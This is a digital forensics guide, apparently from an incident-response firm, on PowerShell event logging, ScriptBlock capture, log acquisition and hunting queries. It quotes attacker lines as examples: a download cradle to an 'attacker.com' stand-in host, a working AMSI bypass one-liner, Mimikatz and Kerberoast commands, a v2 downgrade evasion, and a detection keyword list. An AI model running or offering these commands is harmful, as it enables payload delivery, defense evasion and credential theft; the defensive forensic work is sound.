PowerShell is the most commonly abused living-off-the-land binary in enterprise intrusions — and when ScriptBlock logging is enabled, every line of attacker code is recorded in plain text, even after Base64 decoding and AMSI deobfuscation. The PowerShell Operational log transforms the defender’s blind spot into a forensic goldmine, capturing the full text of download cradles, credential harvesters, and lateral movement scripts.
What Is the PowerShell Operational Log?
Windows maintains two primary PowerShell event log channels. The Microsoft-Windows-PowerShell/Operational log (PowerShell 5.0+) captures ScriptBlock logging, module logging, and engine lifecycle events. The legacy Windows PowerShell log (the “classic” log) captures pipeline execution details and engine start/stop events. For forensic purposes, the Operational log is far more valuable because it records the actual content of executed scripts, not just metadata about execution.
ScriptBlock Logging (Event ID 4104) is the crown jewel. When enabled, PowerShell records the full text of every script block before execution. Critically, this logging occurs after deobfuscation — if an attacker uses Base64 encoding (-EncodedCommand), string concatenation, or variable substitution to obscure their commands, the logged script block contains the decoded, reconstructed command. This means investigators see the actual malicious code, not the obfuscated wrapper.
Module Logging (Event ID 4103) records detailed information about PowerShell module imports and the specific cmdlets invoked. Pipeline Execution Logging captures the output of commands. Together, these three logging mechanisms provide complete visibility into PowerShell activity — but only if they are enabled via Group Policy or registry configuration.
ScriptBlock Logging and Module Logging are NOT enabled by default. They must be activated via Group Policy (Administrative Templates → Windows Components → Windows PowerShell) or registry keys. If these policies were never configured, the PowerShell Operational log will contain only engine start/stop events (Event IDs 40961/40962) — useful for proving PowerShell ran, but without the script content.
ScriptBlock Logging records the deobfuscated version of every script block. When an attacker runs powershell -enc SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA, Event ID 4104 logs Invoke-Mimikatz — the decoded command, not the Base64 blob. This makes ScriptBlock Logging the single most effective PowerShell forensic artifact.
Location & Format
Log File Paths
| Log Channel | File Path | Content |
|---|---|---|
| PowerShell Operational | C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx | ScriptBlock logging (4104), module logging (4103), engine events |
| Windows PowerShell (classic) | C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx | Pipeline execution (800), engine start/stop (400/403), provider events |
Enabling ScriptBlock Logging
Path: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
Turn on PowerShell Script Block Logging: Enabled
Turn on Module Logging: Enabled (specify modules: * for all)
Turn on PowerShell Transcription: Enabled (optional; writes text files to a configured directory)
Registry Equivalent
# ScriptBlock Logging HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging EnableScriptBlockLogging = 1 (REG_DWORD) # Module Logging (log all modules) HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging EnableModuleLogging = 1 (REG_DWORD) HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames * = * (REG_SZ) # Transcription (writes .txt files) HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription EnableTranscripting = 1 (REG_DWORD) OutputDirectory = C:\PSTranscripts (REG_SZ)
Critical Event IDs
PowerShell Operational Log
| Event ID | Name | Logging Required | Forensic Value |
|---|---|---|---|
4104 | ScriptBlock Logging | ScriptBlock Logging GPO | Highest value: records the full deobfuscated text of every executed script block. Multi-part scripts are split across sequential events with a ScriptBlockId GUID. |
4103 | Module Logging | Module Logging GPO | Records module name, cmdlet invoked, and parameters. Captures Invoke-WebRequest, Invoke-Expression, and other attacker-favored cmdlets. |
4105 | Script block execution started | ScriptBlock Logging GPO | Start marker for script block; contains the ScriptBlockId for correlation |
4106 | Script block execution completed | ScriptBlock Logging GPO | End marker; paired with 4105 to determine execution duration |
40961 | PowerShell console starting | Default (always logged) | Proves PowerShell was launched; logged even without ScriptBlock Logging enabled |
40962 | PowerShell console ready | Default (always logged) | Engine initialization complete; includes host application path |
Windows PowerShell (Classic) Log
| Event ID | Name | Forensic Value |
|---|---|---|
400 | Engine state changed to Available | PowerShell engine started; HostApplication field shows the invoking process (e.g., powershell -enc ...) |
403 | Engine state changed to Stopped | PowerShell engine stopped; duration between 400 and 403 shows session length |
600 | Provider started | Records which PowerShell providers were loaded (FileSystem, Registry, etc.) |
800 | Pipeline execution details | Records pipeline commands; available without Module Logging GPO; includes partial command text |
Even when ScriptBlock Logging is not enabled, the classic Event ID 400 is always logged. Its HostApplication field includes the full command line used to launch PowerShell. If an attacker used powershell.exe -nop -w hidden -enc [base64], the entire encoded command string appears in the 400 event. This provides a starting point for decoding, even without 4104 script block content.
What It Reveals
With ScriptBlock Logging enabled, the PowerShell Operational log captures:
- Full text of download cradles —
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')is logged verbatim, including the URL. - Credential harvesting scripts —
Invoke-Mimikatz,Get-GPPPassword,Invoke-Kerberoast, and custom credential theft scripts are recorded in full. - Encoded command payloads (decoded) — When
-EncodedCommandis used, Event ID 4104 logs the decoded UTF-16LE script text, not the Base64. - Reconnaissance commands —
Get-ADUser,Get-ADComputer,Get-NetSession,Invoke-ShareFinderand other enumeration commands appear with their parameters. - Lateral movement scripts —
Invoke-PsExec,Invoke-WMIMethod,Enter-PSSession,Invoke-Command -ComputerNamewith target hosts visible. - Defense evasion techniques — AMSI bypass attempts (
[Ref].Assembly.GetType(...).SetValue($null, $true)), execution policy bypass, and constrained language mode escapes are all logged. - Module imports — Event ID 4103 records when offensive modules are imported:
Import-Module PowerView,Import-Module Invoke-Obfuscation. - Session metadata — PowerShell version, host application path, user context, and runspace configuration.
Forensic Use Cases
1. Cobalt Strike Beacon Deployment
An attacker gains initial access via phishing and runs a PowerShell download cradle. Event ID 4104 captures: IEX (New-Object Net.WebClient).DownloadString('https://staging.attacker[.]com/beacon.ps1'). The subsequent script blocks log the Cobalt Strike stager code in full, including the C2 server address, pipe name, and sleep interval. The investigator recovers the complete attack chain from the event log alone, without needing the original payload file.
2. Credential Theft with Invoke-Mimikatz
An attacker runs powershell -enc SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoAIAAtAEQAdQBtAHAAQwByAGUAZABzAA==. Despite the Base64 encoding, Event ID 4104 logs: Invoke-Mimikatz -DumpCreds. The script block further contains the embedded Mimikatz PE, the reflective loading code, and any output redirections. The Base64 encoding provided zero protection against ScriptBlock Logging.
3. Kerberoasting Attack
Script blocks capture Invoke-Kerberoast -OutputFormat Hashcat | Out-File C:\temp\hashes.txt. Module logging (4103) records the import of the PowerView module. The investigator identifies the exact SPNs targeted and the output file location, enabling recovery of the hash file from disk or from the $MFT if it was deleted.
4. AMSI Bypass Detection
Before executing malicious code, attackers frequently attempt to disable AMSI (Antimalware Scan Interface). ScriptBlock Logging captures the bypass attempt itself: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true). The presence of this script block is strong evidence of deliberate evasion and subsequent malicious activity.
5. Living-Off-The-Land Reconnaissance
An attacker who has compromised a domain-joined workstation runs a series of reconnaissance commands. Event ID 4104 captures each one: Get-ADDomainController, [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain(), Get-NetSubnet, Invoke-ShareFinder -Verbose. The complete enumeration playbook is recorded in chronological order, allowing the investigator to reconstruct the attacker’s methodology.
Acquisition Methods
Collect both the PowerShell Operational log and the classic Windows PowerShell log. Also check for PowerShell transcription files if transcription was enabled. On compromised systems, verify that the ScriptBlock Logging GPO is still active — some attackers disable it after gaining access.
Live System — wevtutil Export
:: Export the PowerShell Operational log wevtutil epl Microsoft-Windows-PowerShell/Operational C:\Evidence\PS_Operational.evtx :: Export the classic Windows PowerShell log wevtutil epl "Windows PowerShell" C:\Evidence\PS_Classic.evtx :: Check if ScriptBlock Logging is enabled reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging :: Check for transcription files dir /s /b C:\PSTranscripts\*.txt 2>nul
Live System — KAPE / Velociraptor
:: KAPE: Collect all event logs including PowerShell kape.exe --tsource C: --tdest C:\Evidence\KAPE_Output --target EventLogs,PowerShellTranscripts :: Velociraptor: Hunt for PowerShell script blocks :: Artifact: Windows.EventLogs.PowershellScriptblock :: Returns all 4104 events with script text for keyword searching
Forensic Image — Direct Extraction
# Copy PowerShell event logs from mounted image cp "/mnt/evidence/Windows/System32/winevt/Logs/Microsoft-Windows-PowerShell%4Operational.evtx" /analysis/evtx/ cp "/mnt/evidence/Windows/System32/winevt/Logs/Windows PowerShell.evtx" /analysis/evtx/ # Also check for transcription output (if enabled) find /mnt/evidence -name "PowerShell_transcript*" -type f 2>/dev/null
Parsing Tools & Analysis
| Tool | Author | License | Output | Notes |
|---|---|---|---|---|
| EvtxECmd | Eric Zimmerman | Free | CSV/JSON | Parses all EVTX files; maps PowerShell events to structured fields |
| Chainsaw | WithSecure | Open source | Text/JSON | Sigma rules detect known offensive PowerShell patterns |
| Hayabusa | Yamato Security | Open source | CSV/JSON | Built-in rules for PowerShell abuse detection |
| Get-WinEvent | Microsoft | Built-in | PowerShell objects | Native parsing with XPath filters; can reconstruct multi-part script blocks |
| DeepBlueCLI | Eric Conrad (SANS) | Open source | PowerShell objects | Purpose-built for PowerShell log analysis; detects common attack patterns |
| DVAULT | Fireeye | Open source | Text | PowerShell script block log reassembly; reconstructs fragmented scripts |
PowerShell Queries for Analysis
# Extract all ScriptBlock logs (Event ID 4104) Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} | Select-Object TimeCreated, @{N='ScriptBlockText';E={$_.Properties[2].Value}}, @{N='ScriptBlockId';E={$_.Properties[3].Value}}, @{N='Path';E={$_.Properties[4].Value}} # Search for known offensive keywords in script blocks Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} | Where-Object { $_.Message -match 'Invoke-Mimikatz|Invoke-Kerberoast|DownloadString|EncodedCommand|AmsiUtils|Invoke-WebRequest|Invoke-Expression|IEX|Net.WebClient' } | Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value}} | Format-List # Reconstruct a multi-part script block (same ScriptBlockId, multiple parts) Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} | Where-Object { $_.Properties[3].Value -eq 'target-guid-here' } | Sort-Object { [int]$_.Properties[0].Value } | ForEach-Object { $_.Properties[2].Value } | Out-String # Query offline .evtx file Get-WinEvent -Path 'C:\Evidence\PS_Operational.evtx' -FilterXPath "*[System[(EventID=4104)]]"
Hunting with Chainsaw
:: Hunt for PowerShell attack patterns using Sigma rules chainsaw hunt C:\Evidence\evtx\ -s sigma/rules/windows/powershell/ --mapping mappings/sigma-event-logs-all.yml :: Search for specific keywords in PowerShell logs chainsaw search C:\Evidence\PS_Operational.evtx -s "Invoke-Mimikatz" chainsaw search C:\Evidence\PS_Operational.evtx -s "DownloadString" chainsaw search C:\Evidence\PS_Operational.evtx -s "AmsiUtils"
Retention & Persistence
| Property | Default Setting | Recommendation |
|---|---|---|
| Maximum log size | 15 MB | Increase to 256 MB – 1 GB; PowerShell script blocks are verbose and fill quickly |
| Retention method | Overwrite as needed (circular) | Keep circular; forward to SIEM for long-term retention |
| Survives reboot | Yes | — |
| Survives OS reinstall | No | Forward to SIEM; include in regular forensic image backups |
| Effective retention at 15 MB | Hours to days on actively scripted systems | Heavy scripting environments (SCCM, DSC, automation) may retain only hours at default size |
A single Cobalt Strike stager can generate 500+ KB of script block events. Environments with heavy automation (SCCM, DSC, scheduled tasks) can fill the default 15 MB log in hours. Increase to at least 256 MB and forward to a SIEM. Also consider PowerShell Transcription as a backup — transcript files are written to disk and are not subject to the event log size limit.
Anti-Forensics Resilience
| Method | Bypasses Logging? | Detection |
|---|---|---|
| wevtutil cl | Yes — clears all events | Event ID 104 in System.evtx records the clearing |
| Disable ScriptBlock GPO | Stops future logging | Registry value change detectable; gap in logging timeline is suspicious |
| Unmanaged PowerShell (runspace) | Partial — may avoid some logging | Engine start events (40961) still logged; missing 4104 events with present 40961 is suspicious |
| PowerShell v2 downgrade | Yes — bypasses ScriptBlock Logging | Event ID 400 records engine version; v2 usage on a modern system is a strong indicator of evasion |
| AMSI bypass | No — ScriptBlock Logging is separate from AMSI | The bypass code itself is logged in Event ID 4104 |
| CLM bypass | No | Constrained Language Mode escapes are themselves script blocks that get logged |
| Log overflow | Oldest events overwritten | Not an active attack; increase log size to mitigate |
PowerShell version 2 does not support ScriptBlock Logging. An attacker can invoke powershell.exe -version 2 to run commands without generating Event ID 4104. However, the classic Event ID 400 will record EngineVersion=2.0, and the use of PowerShell v2 on a modern system is itself a high-fidelity alert. Mitigation: remove the PowerShell v2 engine (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root).
MITRE ATT&CK Detection Mapping
| Technique | Name | PowerShell Log Evidence |
|---|---|---|
T1059.001 T1059.001 | PowerShell | All script block content logged; engine start/stop events confirm PowerShell execution |
T1027 T1027 | Obfuscated Files or Information | ScriptBlock Logging records deobfuscated code; Base64, string concatenation, and variable substitution are resolved before logging |
T1105 T1105 | Ingress Tool Transfer | Download cradles (DownloadString, Invoke-WebRequest, Start-BitsTransfer) logged with URLs |
T1003 T1003 | OS Credential Dumping | Invoke-Mimikatz, Invoke-Kerberoast, Get-GPPPassword captured in script blocks |
T1562.001 T1562.001 | Impair Defenses: Disable or Modify Tools | AMSI bypass attempts logged as script blocks; Set-MpPreference -DisableRealtimeMonitoring captured |
T1087 T1087 | Account Discovery | Get-ADUser, Get-ADGroup, Get-DomainUser commands with parameters captured |
Related Artifacts & Cross-References
Complementary Artifacts
| Artifact | Relationship to PowerShell Log | Cross-Correlation Value |
|---|---|---|
| Security.evtx 4688 | Process creation with command line | Shows the powershell.exe process creation with full command line; complements script block content |
| Sysmon Event 1 | Process creation with hash and parent | Identifies the parent process that spawned PowerShell; hash confirms powershell.exe integrity |
| System.evtx | Service events, log clearing | If PowerShell was used to create a service (7045) or clear logs (104), System.evtx corroborates |
| Prefetch | PowerShell execution artifact | POWERSHELL.EXE-*.pf confirms execution; run count and timestamps complement log data |
| Transcription files | Disk-based PowerShell output logs | If enabled, transcription files survive event log clearing; contain input/output text |
| ConsoleHost_history.txt | PSReadLine command history | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt stores interactive commands; survives log clearing |
References
- Microsoft, “About Logging Windows — PowerShell” — https://learn.microsoft.com
- Eric Zimmerman, “EvtxECmd — EVTX Parser” — https://ericzimmerman.github.io/
- FireEye, “Greater Visibility Through PowerShell Logging” — https://www.mandiant.com
- SANS Institute, “Investigating PowerShell Attacks” — https://www.sans.org
- WithSecure, “Chainsaw — Rapid EVTX Hunting” — https://github.com/WithSecureLabs/chainsaw
- Eric Conrad, “DeepBlueCLI” — https://github.com/sans-blue-team/DeepBlueCLI
- SigmaHQ, “PowerShell Detection Rules” — https://github.com/SigmaHQ/sigma
- Lee Holmes, “PowerShell Loves the Blue Team” — https://devblogs.microsoft.com
Mjolnir Security — Digital Forensics & Incident Response
Mjolnir Security provides 24/7 incident response, digital forensics, and expert witness testimony. Our DFIR team specializes in PowerShell log analysis, script block reconstruction, and detecting living-off-the-land attacks across enterprise environments.
mjolnirsecurity.com — 24/7: +1 833 403 5875